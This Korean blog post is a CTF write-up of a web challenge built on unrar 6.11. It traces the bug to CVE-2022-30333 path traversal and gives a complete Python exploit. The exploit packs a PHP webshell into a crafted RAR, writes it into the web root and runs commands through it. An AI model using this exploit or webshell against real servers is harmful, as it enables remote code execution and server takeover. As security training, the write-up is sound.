2023년도에 KITRI-CSA Exchange Programme 대회에서 풀었던 문제다.
오랜만에 복기 겸 작성해봅니다.
당시 찍었던 유튜브 영상도 있네요.
https://youtu.be/IKwvTItKhzE?si=V2VkBRbxrBN0y1s
이때 Dreamhack에서 CTF를 참가했는데, 현재 따로 올라와있는 문제가 없다고 합니다.
로컬에 코드가 남아있어서, 로컬에서 docker를 구동하여 작성합니다.

문제를 들어가보면, Online RAR Extractor 이라고 적혀져 있는것으로 봐서
RAR 압축 파일을 압축 해제해주는 웹 페이지라고 추측이 가능합니다.
문제 파일을 보면, /deploy/src/bin/rar 경로에 rar.txt가 있습니다.

유저 매뉴얼이 있습니다.
문제에서 사용되는 버전은 6.11 버전임을 확인할 수 있습니다.
Dockerfile을 확인해보면
FROM php:7.1-apache
RUN sed -i 's/deb.debian.org/archive.debian.org/g' /etc/apt/sources.list && \
sed -i 's|security.debian.org|archive.debian.org|g' /etc/apt/sources.list
RUN apt-get update
RUN apt-get upgrade -y
COPY ./deploy/src /var/www/html/
RUN chmod -R 755 /var/www/html/ && chmod 777 /var/www/html/upload/
COPY ./deploy/run-lamp.sh /usr/sbin/
RUN chmod +x /usr/sbin/run-lamp.sh
# FLAG
COPY deploy/flag.c /flag.c
RUN apt install -y gcc \
&& gcc /flag.c -o /flag \
&& chmod 111 /flag && rm /flag.c
EXPOSE 80
CMD ["/usr/sbin/run-lamp.sh"]
dockerfile에서 flag.c를 gcc로 컴파일해서 /flag를 생성하는것을 확인할 수 있습니다.
=> RCE와 같은 공격을 수행하여 /flag를 실행시켜야 한다는것을 파악할 수 있습니다.
그러면 RAR 압축 해제 과정에서 Path Traversal과 같은 공격을 수행해야 한다는 플로우가 그려지는데, 해당하는 cve를 찾아볼 수 있습니다.
우리는 이미 사용될 RAR의 버전을 알고 있기 때문에 해당 검색어로 구글링을 진행합니다.
RAR "6.11" Path Traversal CVE

제일 상단에 있는 CVE 코드에 대해 검색해 봅시다.

제대로 찾은게 맞는것 같습니다.
Unix 및 Linux 환경에서 6.12 이하 버전에서 "압축 해제 작업 중 디렉터리 탐색을 통해 파일에 쓰기 작업을 허용합니다" 라고 나와있는것을 확인할 수 있습니다.
실제로 문제 코드에서 해당 가설으로 익스플로잇이 가능할지 검증을 수행해보겠습니다.
<?php
define("UNRAR", "./bin/rar/unrar");
function tempdir() {
$tempfile=tempnam(sys_get_temp_dir(),'');
if (file_exists($tempfile)) { unlink($tempfile); }
mkdir($tempfile);
if (is_dir($tempfile)) { return $tempfile; }
}
function random_filename(){
return sha1(rand()*rand()*rand()); // To-do
}
function RARextract($src, $dest){
if(file_exists(UNRAR)){
return shell_exec(UNRAR . " e -y " . escapeshellarg($src) . " " . escapeshellarg($dest));
}else{
die("ERROR !");
}
}
function dirToArray($dir) {
$result = array();
$cdir = scandir($dir);
foreach ($cdir as $key => $value){
if (!in_array($value,array(".",".."))){
if (is_dir($dir . DIRECTORY_SEPARATOR . $value)){
$result[$value] = dirToArray($dir . DIRECTORY_SEPARATOR . $value);
}else{
$result[] = $value;
}
}
}
return $result;
}
$filetype = mime_content_type($_FILES["file"]["tmp_name"]);
if($filetype != 'application/x-rar') die('Invalid RAR File.');
$backup = "./upload/".random_filename().".rar";
copy($_FILES["file"]["tmp_name"], $backup); // backup
$tmpdir = tempdir();
$out = RARextract($_FILES["file"]["tmp_name"], $tmpdir);
$scanout = dirToArray($tmpdir);
// To-do: Download extract file.
?>
일단 ./bin/rar/unrar 경로에서 6.11 버전의 RAR을 사용하는것을 알 수 있고,
RARextract라는 함수에서 shell_exec 명령어를 사용하여
./bin/rar/unrar e -y '<src>' '<dest>'
이런 명령어가 실행이 됩니다.
escapeshellarg 로 shell argument에 대한 문자열 Escape를 진행하는것을 확인할 수 있습니다.
기본적인 Escaping은 진행하기 때문에 import한 외부 unrar이 처리될때 공격하는 플로우를 생각할 수 있고,
CVE-2022-30333 취약점의 개요인 "압축 해제 작업 중 일어나는 공격" 이라는 포인트를 확인할 수 있습니다.
압축 해제 시 상위 디렉토리로 경로를 조작하면 apache 의 웹루트 /var/www/html 에 웹쉘을 올릴 수 있을것 같습니다.
exploit을 진행해 보겠습니다.
https://github.com/rbowes-r7/unrar-cve-2022-30333-poc
GitHub - rbowes-r7/unrar-cve-2022-30333-poc
Contribute to rbowes-r7/unrar-cve-2022-30333-poc development by creating an account on GitHub.
github.com
해당 github에서 exploit code를 찾을 수 있고,
웹쉘을 업로드 하고, 해당 경로로 웹쉘을 실행시키는 최종 PoC 코드는 다음과 같습니다.
import sys
import subprocess
import requests
import tempfile
import os
SHELL_PHP = """<?php
echo system($_GET["cmd"]);
?>
"""
def create_rar_with_ruby(target_path, ruby_script_path):
print(f"[*] Creating temporary payload file...")
with tempfile.NamedTemporaryFile(mode='w', suffix='.php', delete=False) as f:
f.write(SHELL_PHP)
temp_shell = f.name
try:
print(f"[*] Running Ruby exploit generator...")
print(f" Target path: {target_path}")
result = subprocess.run(
['ruby', ruby_script_path, target_path, temp_shell],
capture_output=True,
timeout=10
)
if result.returncode != 0:
print(f"[-] Ruby script error: {result.stderr.decode()}")
return None
return result.stdout
except subprocess.TimeoutExpired:
print("[-] Ruby script timeout")
return None
except Exception as e:
print(f"[-] Error: {e}")
return None
finally:
os.unlink(temp_shell)
def upload_exploit(url, rar_data):
print(f"[*] Uploading malicious RAR to {url}")
files = {'file': ('exploit.rar', rar_data, 'application/x-rar')}
try:
response = requests.post(url, files=files, timeout=10)
if response.status_code == 200:
print("[+] Upload successful!")
return True
else:
print(f"[-] Upload failed: HTTP {response.status_code}")
return False
except Exception as e:
print(f"[-] Upload error: {e}")
return False
def get_flag(base_url, cmd='/flag'):
webshell_url = f"{base_url}/upload/webshell.php"
print(f"[*] Executing command: {cmd}")
try:
response = requests.get(webshell_url, params={'cmd': cmd}, timeout=5)
output = response.text.strip()
if output:
print(f"[+] Output received:")
print(f"\n{'='*60}")
print(output)
print(f"{'='*60}\n")
return output
else:
print("[-] No output from webshell")
return None
except Exception as e:
print(f"[-] Error: {e}")
return None
def main():
if len(sys.argv) < 2:
print("Usage: python3 exploit.py <target_url> [ruby_script_path]")
print("")
print("Examples:")
print(" python3 exploit.py http://localhost:9999")
print(" python3 exploit.py http://localhost:9999 ../unrar-cve-2022-30333-poc/cve-2022-30333.rb")
sys.exit(1)
target_url = sys.argv[1].rstrip('/')
# Ruby 스크립트 자동 경로 찾기
candidates = [
'../unrar-cve-2022-30333-poc/cve-2022-30333.rb',
'../../unrar-cve-2022-30333-poc/cve-2022-30333.rb',
os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'unrar-cve-2022-30333-poc', 'cve-2022-30333.rb'),
]
ruby_script = None
for path in candidates:
if os.path.exists(path):
ruby_script = os.path.abspath(path)
break
if not ruby_script:
print(f"[-] Ruby script not found!")
sys.exit(1)
rar_data = create_rar_with_ruby('../../../var/www/html/upload/webshell.php', ruby_script)
if not rar_data:
print("[-] Failed to generate RAR")
sys.exit(1)
print(f"[+] RAR generated ({len(rar_data)} bytes)")
extract_url = f"{target_url}/extract.php"
if not upload_exploit(extract_url, rar_data):
sys.exit(1)
print("[*] Waiting for webshell deployment...")
import time
time.sleep(1)
flag = get_flag(target_url)
if flag:
print("[+] Exploit successful!")
sys.exit(0)
else:
print("[-] Failed to retrieve flag")
sys.exit(1)
if __name__ == '__main__':
main()


이상입니다.
'webhacking' 카테고리의 다른 글
| WebGoat - JWT tokens (0) | 2025.11.09 |
|---|---|
| Dreamhack baby-sqlite (0) | 2025.01.30 |